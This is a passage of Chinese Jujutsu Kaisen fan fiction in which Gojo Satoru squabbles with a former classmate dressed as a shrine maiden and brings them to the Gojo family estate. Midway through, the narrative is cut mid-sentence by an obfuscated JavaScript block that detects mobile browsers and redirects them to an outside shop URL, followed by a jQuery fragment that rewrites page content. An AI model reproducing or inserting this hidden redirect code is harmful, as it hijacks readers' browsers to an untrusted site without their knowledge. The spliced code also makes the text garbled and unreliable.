正常来说,人类是很难徒手在银块上刻下名字的。
但由于有着咒术这样神奇的力量体系,将这种“异常”化为了较为日常的情况,所以五条悟也理所应当的认为,自己在这么明显的说完后,对方会直接按照他说得来做。
一枚未署名的银戒落在巫女服的同学手心,虽然清楚对方真实的性别没有看起来那么简单,五条悟还是不可避免的感到些许尴尬。
还好现在的校舍没什么人。他想。
毕竟再怎么说,戒指送给异性的含义在各个方面都相当不适合他们二人的关系,五条悟之所以如此执着戒指的署名,也仅仅是因为自己已经做了类似的事、却没有得到相同的回馈……这样的不甘心而已。
如果对方不是这种模样,情况就会正常很多。
这么想着,他也这么抱怨:“你就不能换回正常的着装吗?”
拿着戒指的巫女动作一顿,抬头看他,眼神里透露着对他的无语。五条悟第一次觉得,记忆里性格平平无奇的前同学,竟然也会有如此具有攻击性的一面。
好吧,其实平安夜的时候也挺有攻击性的。
“你很麻烦耶,我知道啦!我知道你是因为现在身份敏感,才不得不换一个模样出现。”五条悟摸摸自己的后脑勺,“所以说你……打不打算交代一下为什么一声不吭消失这件事?”
名叫望月雷响的巫女把戒指收起来,“这事说来话长,所以还是不说了。”
五条悟:“……”
五条悟突然觉得头疼:“哈?”
生平第一次听到如此离谱的理由,五条悟险些怀疑自己的耳朵出问题,又没忍住掏了掏。
望月雷响也很老实,见五条悟一副没有理解的模样,于是又复述了一遍自己的话。
五条悟皱眉:“是这个问题吗——?!而且你为什么直接把戒指收起来了?签完名就还给我啊!!”
望月雷响看起来比他还诧异:“签名不要时间吗?”
五条悟大喊:“不就用手划几下的事吗!”
望月雷响:“你别吼那么大声,我两只耳朵都听到了。”
“谁吼了!!”
确实吼了,原因是觉得对方听不懂太小声的人话。但此刻的五条悟不愿意承认自己确实这样做了,所以反驳得也没有道理。
而且他完全有理由怀疑对方就是为了转移话题!
两人无意义(五条悟单方面)得争论一番,终于以五条少爷意识到对方和自己认知的力量体系不一样告终。
咒术师,正确。
咒力,正确。
咒灵,正确。
用咒力做日常琐事,不正确。
这人究竟是哪年哪月冒出来的怪胎啊?
五条悟惊诧不已,绕着这个消失了一段时间又着装奇特冒出来的前同学走了几圈,摸着下巴,沉默片刻,决定还是把人拎到眼皮子底下看着为妙。
“所以,为什么要围着我绕八圈。”望月问。
五条悟愣了下:“你还数了?”
望月雷响默默点头,一副对此结果胸有成竹的模样,让人完全摸不清他的脑回路是怎么回事。
五条悟唇角抽了抽,像是第一次认识这个人。
“我下次就算绕九圈十圈你都不准数,听到没?”
望月雷响面露疑惑。
五条悟用肢体动作比叉:“也不准问为什么!”
望月雷响于是闭嘴了。
看着是有认真在听别人说话,但回应不知道为什么就是让人觉得很不爽——之前怎么没觉得这个人这么好沟通、又这么难沟通?
五条悟心里闪过一个硕大的疑问句。
不过,不管怎样的摩擦也好,世界毁灭前,任何人都阻止不了五条悟做他想做得事情。
在察觉到前同学状态有异那瞬间,他便决定好带着人从咒术高专一起跑路。反正夜蛾正道直接把空白假条扔给他,不就是让他“想要什么自己填”的意思吗。
大手一挥,五条悟直接在假条上写下两人份的请假申请,便拽着巫女堂而皇之的逃课了。
至于只剩下夏油杰一个人上课,后来知道此事是怎么想的,就是后事了。
他总不能和两个小可怜计较吧?
——
“我姑且提前问一句,你知道我家是什么样的吧?”
两人出逃后,五条悟在距离抵达目的地的前一个小时突然发问。
望月雷响闻言,摇摇头,又点点头。
这到底是知道还是不知道?五条悟顿时无可奈何得叹气,扔掉路上喝空的草莓牛奶盒。
五条家,一个不管是在咒术界、还是普通世界都有一定影响力的千年名门望族。完全诠释前人栽树后人乘凉的道理,得益于祖先一直以来流传的美誉,相当聪明得在其荫蔽下茁壮成长着,又在现下有了新六眼的情况下,继续茂盛生长。
家风严格古朴,强者为尊,偶尔(其实是频繁)热衷于宣传家族特色,也因此有了一段著名趣谈——
在咒术界,如果有人不知道五条家,那顶多算是不闻世事的独行侠,情有可原。但如果有人不知道五条悟,那这个人便可能不是人!一律当诅咒处理。
以上!
望月雷响很诚实地说明情况:“除了前面这些,后面那段都完全没听过。”
五条悟郁闷吐槽:“你到底是从哪藏了几个月的山顶洞人啊。”
望月听出来这是在骂他,问:“为什么要说这么坏心眼的话?”
五条悟:“……”
五条悟完全放弃继续和望月沟通,他发现自己的新过敏源是望月雷响的垃圾话。
其实这种说来,也算是好事,望月雷响的意思相当于说明了他对于五条悟的认知并非受到其他事务影响,而仅是从个人认知开始理解到五条悟的存在,就这点而言,五条悟还是感到满意的。
这连带着,五条少爷对于前同学改头换面回来这件事的意见,都小了不少。
不过这样的好心情并没有持续多久。
虽然是坐着普通的计程车回来的,但五条家却因为他们二人的到来兵荒马乱。
五条悟带着人回家,这不是什么奇怪的事情,每个人都会有这样的情况。在某年某月某日,在任何一种情况下,因为天色渐晚,或者恰巧时机成熟、觉得是时候回家了,正好朋友在身边,于是也顺便把朋友带回家吃个饭。这样的情景,很日常,没问题,并不让人觉得恐怖。
问题在于五条悟带回来的人,怎么看怎么像个女人。
两人自从进入五条宅后,平均被以每秒四次明里暗里的目光洗礼,如同赶上舞台的马戏团成员。虽然已经从小便习惯了他人的目光,但五条悟还是忍不住在走过第二条拐角时旧话重提:
“你真的不能把着装换回来吗?脸换了不至于性别也要跟着换吧。”
“……”
望月雷响对此诡异地没有给出回答。
这份诡异的沉默让五条悟顿时警铃大作,刚想问是什么意思,就迎面见到一位他熟悉的家里的长辈走过来。
避免节外生枝,五条悟选择闭上嘴不再说话。
但对方完全没接收到五条悟隐晦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808759|209418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的“你给我差不多一点”的信息,或者说,他就是冲着五条悟来的。
一撞上面,这位长辈便不礼貌地上下打量尊贵神子身侧的人,语气不善:“这位是?”
五条悟皱眉,见身旁人一副无动于衷的模样,才代替回答:“同学。”
“第一次见你带同学回来,不打算——”
五条悟抢答:“啰啰嗦嗦得要你管?”
说完,他便拽着巫女越过这位长辈,头也不回地往前走。
五条家的宅院修筑,是完全按照古时的大家族模板来修建的,风雅和功能性兼备,范围大,因此有许多盘根错节的廊道,很容易让初来乍到的人没走两步便晕头转向,找不到哪里到哪里。
这样,也就达成了【必须有一名五条家的人领路】的目的。
望月雷响真该庆幸带路的五条是他,不然真不知道要受多少刁难。五条悟一边走一边想。
明明在他面前能说得不行,一套接一套。结果真的遇到了难缠的家伙,连一句“关你屁事”的话都说不出来,这种性格到底算不算两面派?
还没等他想个所以然来,身后便幽幽传来对方的话:
“五条同学,和家里人关系其实挺好的。”
五条悟猛地一停,成功让人撞到他的后背。
“哈?”
望月揉着自己的脸,看着有些郁闷,“……难道不是吗?在其他的家庭里,能够那种态度和长辈说话还不会被指责的,应该已经算得上是受宠了吧。”
五条悟很快反应过来他为什么说这个:“你怎么还记得当时的问题。”
确实,在他们第一次出任务的时候,夏油杰因为要和家里人见面,所以短暂的下了车。那时他们因为和家里人的相处距离而产生过一点讨论,在硝子陈述完想法后,五条悟算是隐晦得表达了自己和家里人关系不算太好的信息。
没想到被一直记到现在。这多少令五条少爷感到心情微妙。
“啊,”望月雷响干巴巴地发出一个单音。如果不从他的视角切入,根本让人无从揣测他的想法,“因为那时候就觉得,这种性格,只有在有爱的家庭才养得出来吧。”
五条悟:“……”
五条悟又发现他的同学是一个神奇的人,因为他能够把一句很温暖的话说得容易让人生气。归根结底,或许是他的语气和情绪都太平静了?
五条悟只说:“搞不懂你的脑回路。”
望月雷响如同觉得自己说错话那样,垂下头,没再继续接话。
……
其实五条悟被叫回来其实没什么严重的事情,自从他放话要去入学咒术高专,五条家的事务便极少有需要叫到他的地方。这次意外联络,也只是因为平日里关系还不错的禅院家又出了点事。
按照那边的说法,是禅院家有一位身患重症的族人需要救治。
因为病症之古怪,他们对此束手无策,所以希望各个家族的人能够力所能及的伸出援手。
当然,那边的态度其实是非常暧昧的。
之所以这么说,是因为他们对于这位重症族人,虽说是表现出了需要帮忙的态度,但实际上并不急切。像是在明晃晃的声明:这人如果还能救一下,那便尝试,但实在是无力回天,也不用多费心思。
看着可笑,可往往小事才能让人区分各家之间的暗流和交锋。
五条悟被叫回来,正是商量要不要借这次机会探访一下禅院家最近都在搞什么鬼。
用简单的话来说,便是让五条悟当一回庸医,去禅院家探望病患,顺便交流一下两家之间的感情。